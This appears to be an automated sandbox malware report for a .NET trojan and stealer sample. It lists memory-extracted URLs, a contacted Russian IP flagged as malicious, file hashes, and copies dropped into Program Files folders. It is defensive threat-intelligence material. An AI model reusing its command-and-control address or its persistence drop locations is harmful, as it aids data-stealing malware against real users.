00000005.00000002.4192170068.000000001303F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001367C000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000131E2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013A01000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013C02000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001394D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001312D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013AB7000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000135C8000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000137E4000.00000004.00000800.00020000.00000000.sdmp, cnSOlUGbDb.5.dr, zNtANojNQT.5.dr, dqHU3bZlOg.5.dr, no6tUFVlRQ.5.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	8vURQqkwa9.5.dr	false		high
https://support.mozilla.org/products/firefox	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17p	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.carterandcone.coml	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013CB6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013296000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013730000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013899000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001334A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013B4D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000133FE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001303F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001367C000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000131E2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013A01000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013C02000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001394D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001312D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013AB7000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000135C8000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000137E4000.00000004.00000800.00020000.00000000.sdmp, cnSOlUGbDb.5.dr, zNtANojNQT.5.dr, dqHU3bZlOg.5.dr, no6tUFVlRQ.5.dr	false		high
http://62.109.H	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000005B5D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/frere-user.html	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers8	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4235532439.000000001EA42000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org	8vURQqkwa9.5.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013D38000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013E0A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000142D7000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001426A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013F68000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013EDC000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014224000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013F22000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013D7E000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000141DE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000140C6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014152000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013FAE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013FF4000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013E96000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013DC4000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013CF2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013E50000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001410C000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001431D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000014291000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013CB6000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013296000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013730000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013899000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001334A000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013B4D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000133FE000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001303F000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001367C000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000131E2000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013A01000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013C02000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001394D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.000000001312D000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.0000000013AB7000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000135C8000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4192170068.00000000137E4000.00000004.00000800.00020000.00000000.sdmp, cnSOlUGbDb.5.dr, zNtANojNQT.5.dr, dqHU3bZlOg.5.dr, no6tUFVlRQ.5.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
62.109.16.145	unknown	Russian Federation		29182	THEFIRST-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1586421
Start date and time:	2025-01-09 04:11:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	FYKrlfQrxb.exe renamed because original name is a hash value
Original Sample Name:	de020ea4df72a05a6d3850f89804167f.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@10/310@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 23.56.254.164, 13.107.246.45
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:12:07	API Interceptor	12456857x Sleep call for process: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
THEFIRST-ASRU	http://globconnex.com	Get hash	malicious	Unknown	Browse	185.253.34.129
	aW6kSsgdvv.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	62.109.6.177
	https://klickskydd.skolverket.org/?url=https%3A%2F%2Fwww.gazeta.ru%2Fpolitics%2Fnews%2F2024%2F12%2F22%2F24684722.shtml&id=71de&rcpt=upplysningstjansten@skolverket.se&tss=1735469857&msgid=b53e7603-c5d3-11ef-8a2e-0050569b0508&html=1&h=ded85c63	Get hash	malicious	HTMLPhisher	Browse	188.120.241.50
	https://www.gazeta.ru/politics/news/2024/12/22/24684722.shtml	Get hash	malicious	HTMLPhisher	Browse	188.120.241.50
	https://www.gazeta.ru/politics/news/2024/12/22/24684854.shtml	Get hash	malicious	HTMLPhisher	Browse	82.146.48.146
	Y96iIjl6mj.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	62.109.1.101
	DF2.exe	Get hash	malicious	Unknown	Browse	188.120.244.218
	setup.exe	Get hash	malicious	Unknown	Browse	37.230.117.113
	ArELGBzuuF.exe	Get hash	malicious	DCRat	Browse	185.43.5.145
	TodjHkXUZB.exe	Get hash	malicious	DCRat	Browse	62.109.25.165

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Desktop\MvQOkJAc.log	PlZA6b48MW.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	3XtEci4Mmo.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	wxl1r0lntg.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	HaLCYOFjMN.exe	Get hash	malicious	DCRat, PureLog Stealer, RedLine, XWorm, zgRAT	Browse
	Z90Z9bYzPa.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	0J5DzstGPi.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	6d86b21fec8d0f8698e2e22aeda3fbd0381300e8a746b.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	aW6kSsgdvv.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	HMhdtzxEHf.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	kJrNOFEGbQ.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse

Created / dropped Files

C:\Program Files (x86)\Google\Update\Install\bf3ea1d7b5d5e5

Download File

Process:	C:\Users\user\Desktop\FYKrlfQrxb.exe
File Type:	ASCII text, with very long lines (711), with no line terminators
Category:	dropped
Size (bytes):	711
Entropy (8bit):	5.913404876773239
Encrypted:	false
SSDEEP:	12:G5D9otGlA+C0AwhtJJ9ECdrw8Kp9Juex/osHMCxRr0cxUUMvP3URXxcdcCplgYoL:G55i0Fhh1dEvp9JfFHxF0cSlklSMtJUG
MD5:	9E1F19D25AF7FE4743ABF09A9E9B5DE7
SHA1:	B86EA6D5DBF4ABC41979951215940095DEEF5F48
SHA-256:	931CC664021EE0B0C8578B97BA7F080F5611023C21AE876124C58198EF811D6E
SHA-512:	16F7F63E5AD508FEE3B2DC29F83AEF6D41F15A8DCB2E8B1BC8FB128E8A54449C483BF1AD5EFAA926BC60DB695F12C2131F9E6D5E985EFC2133C512D04ECC9DD7
Malicious:	false
Reputation:	low
Preview:	PcbJyUTWGzuneUrpm3KMKxr5ewVMycoP0vGx4dh7GMWmFedqpiENxphcufoB9HioKewtO4vJVMF8aF09SogPXbcLOoCYyf79osbksubux51kjjBpppsUkSQtCkek1WUzOFUsnPRhMwbck1lomXtJwmZVcriIP13bkBWeOTBZXLIy1xJK808enLClq9P5rJRV2A2ifHZSWTvlekdoiYJZ3ZyY8uxPEFsO3x504kp1apHTabGFfkXTA1bdMdkvUJOQlgsrpnt7tR9NRe8hnrudrZOBVcnbA3gQb1r3sZa10ajs2NMrfDHmZujMSqVNAS7zvtwaxFyOR3mRzgJIP556v31qSflCDN1icu7Ibw4aO3VfIRWvhN7EWAD12FIRdwKDCEyEjArdBfr1iViAI0ezPxLcrFQVnn6ctSdEcRMhfdC1SLSghHInRUxO2WXduVzYjPIQ2di1n7UwuUJfwtygeTKYeOLF4swKnoRDDCoDjR9UABeiM2qAhT3PEuvnSc65KKIFCGcuEv7NT0Xctm2CBvmUvC8SRBvHUEJ03ZgGZ66wWq6NXT4pj43YhxTAHJcD9z2PqgiUGwmFz08FGv57GGiZKuTGFg9Pd2wgxqh0ukiwSxjqyO4WOf63RcE5NcOkwWl6EcRZNENghvHWLmR1mnB862PVllnRV8A6MmmW7eIKSaVgVrukLW8JVnALN6xmb5KjvLK

C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Download File

Process:	C:\Users\user\Desktop\FYKrlfQrxb.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1899008
Entropy (8bit):	7.525948143512337
Encrypted:	false
SSDEEP:	24576:hK6gLfmF6uHqFnf/0Pka1Lt8QYc/qqYaXE3KnMwtE6tTs+O+TNi+LCyiqdUG09a:hK3OsWm/I0c/WKn7E8Tse/LCVz1
MD5:	DE020EA4DF72A05A6D3850F89804167F
SHA1:	33A5C198A384086B85DBFC8A9820D1758204667C
SHA-256:	0CE80AEB4D7735CB992EFA0666B150AEB8E5BEC83E5FF2389FA643C28FFD87FA
SHA-512:	719DB18F98C4B9CAC1C09954FAE46DEF924F1E9425F863CC515C453D174C0701FBF56A7FE60A4146E7A78E3906CFBB86DD8D84E4085FB2CD2654109E1980940F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e............................n.... ... ....@.. .......................`............@................................. ...K.... ..p....................@....................................................... ............... ..H............text...t.... ...................... ..`.rsrc...p.... ......................@....reloc.......@......................@..B................P.......H...........\.......n...<...J'...........................................0..........(.... ........8........E....`...).......<...8[...(.... ....~....{....:....& ....8....(.... ........8....(.... ....~....{i...9....& ....8........0.......... ........8........E........>..............8.......... ....~....{i...9....& ....8....~....:.... ....8....~....(I... .... .... ....s....~....(M....... ....~....{....9i...& ....8^.......~....(Q...~....(U... ....?.... ....82...r...ps....z*..(.

C:\Program Files (x86)\Google\Update\Install\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\FYKrlfQrxb.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Program Files\Windows Mail\bf3ea1d7b5d5e5

Download File

Process:	C:\Users\user\Desktop\FYKrlfQrxb.exe
File Type:	ASCII text, with very long lines (609), with no line terminators
Category:	dropped
Size (bytes):	609
Entropy (8bit):	5.881645689247001
Encrypted:	false
SSDEEP:	12:cl1kbJVQ1hUr4BdvWOlYdSUEzKsyFMrYEAoOAYbKe/lfNx7bJAcTi9:x1VQrUylWOlmS9zJyLEJTed1ZbycT8
MD5:	9D6031322A8BD02E307288361EE61365
SHA1:	C238A3237A2469E52C08BFB7F4282201202251D0
SHA-256:	17FA7273326FF92DAD30C77F2D355E904B9165F7C78115DD5E4F59C30370ED82
SHA-512:	6963C3BBF8994A73DD37F914A3E719B8D06F013A5A613F652595FFD969E54FEA86E5B3712426082BE020546F1C8987B84BAEA72F0176EA9E6203252D2CF5B701
Malicious:	false
Reputation:	low
Preview:	bJArgsWPwuJhKkQc0oe6eoe63vYzLi4kl7iv3a8ITQu80WqczgJLGmGxpExvUhDNzj5NCfjaqVnO4fFgE59pZtd91vFymNxwNgIRbdaU7tfu822J8RqYiYyGF6WQauxci1BYXyFlfpspOsA825zVhYNyrCMfHJ3M5CMH1ewKLE33pJ1W5XXe4c5JnMqUmkeVvfuMg3HXIpJcfUJiKzjtvZSdGCepycilkhHKZp0CQAVPTdnSCIJwAukVNQFdYbjqGh18M9Jf9hdvDCJnYLmpSwlz7v6IkWnyaoIvlpFD8owcRySKHbEMz3YU5BBaCB5n4oUY4XBtFiqn9JiIdwAIRa9gPyzjopB7tJhmd3QtaVGQMvUwd27QAxVdpyJFhcFaht4zl5okfRs6TsUeeDGvru76yE7puLL7Pqtd1eLhOWutFYK7doleVUsww8Bh890UFuqn80n91jgVAN0Z39LFjqm577r3doiPganUrg9nBlnwxXwiHln9xuuZIvqAJufNARyjkfsX9iE8DzHjLJv2AjbwpOM608dQGZwfjM8l3P9OqwVSnGzA8nMbzC4VSwgBEx1nDmA8LK9ujNG324SuJdScMUphSmSHt

C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Download File

Process:	C:\Users\user\Desktop\FYKrlfQrxb.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1899008
Entropy (8bit):	7.525948143512337
Encrypted:	false
SSDEEP:	24576:hK6gLfmF6uHqFnf/0Pka1Lt8QYc/qqYaXE3KnMwtE6tTs+O+TNi+LCyiqdUG09a:hK3OsWm/I0c/WKn7E8Tse/LCVz1
MD5:	DE020EA4DF72A05A6D3850F89804167F
SHA1:	33A5C198A384086B85DBFC8A9820D1758204667C
SHA-256:	0CE80AEB4D7735CB992EFA0666B150AEB8E5BEC83E5FF2389FA643C28FFD87FA
SHA-512:	719DB18F98C4B9CAC1C09954FAE46DEF924F1E9425F863CC515C453D174C0701FBF56A7FE60A4146E7A78E3906CFBB86DD8D84E4085FB2CD2654109E1980940F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e............................n.... ... ....@.. .......................`............@................................. ...K.... ..p....................@....................................................... ............... ..H............text...t.... ...................... ..`.rsrc...p.... ......................@....reloc.......@......................@..B................P.......H...........\.......n...<...J'...........................................0..........(.... ........8........E....`...).......<...8[...(.... ....~....{....:....& ....8....(.... ........8....(.... ....~....{i...9....& ....8........0.......... ........8........E........>..............8.......... ....~....{i...9....& ....8....~....:.... ....8....~....(I... .... .... ....s....~....(M....... ....~....{....9i...& ....8^.......~....(Q...~....(U... ....?.... ....82...r...ps....z*..(.

C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\FYKrlfQrxb.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Program Files\Windows Security\bf3ea1d7b5d5e5

Download File

Process:	C:\Users\user\Desktop\FYKrlfQrxb.exe
File Type:	ASCII text, with very long lines (993), with no line terminators
Category:	dropped
Size (bytes):	993
Entropy (8bit):	5.914820756958644
Encrypted:	false
SSDEEP:	24:1jfz/6PuChEjHYh7DTErq5n3mo95ndriWz:5/6PuCC4h7DAEntZic
MD5:	A64AAAE588EC922F2DF63CEA927AD09C
SHA1:	B05EBE56BC16F8556D4FA815AED69E4FF5E1F055
SHA-256:	791618078EC8402ACDBF23D64D516F634AEE639D186BE19D65B60A13AB1C4296
SHA-512:	013677D85EDF46D4B725EF3AC7D81BF83C47FCED3B184649632F7B24E980BFC3E741BB0BD8C8EB2EC4E54AE6AF5B1EED2DF92F243B6FF871FF96B628E2C710FD
Malicious:	false
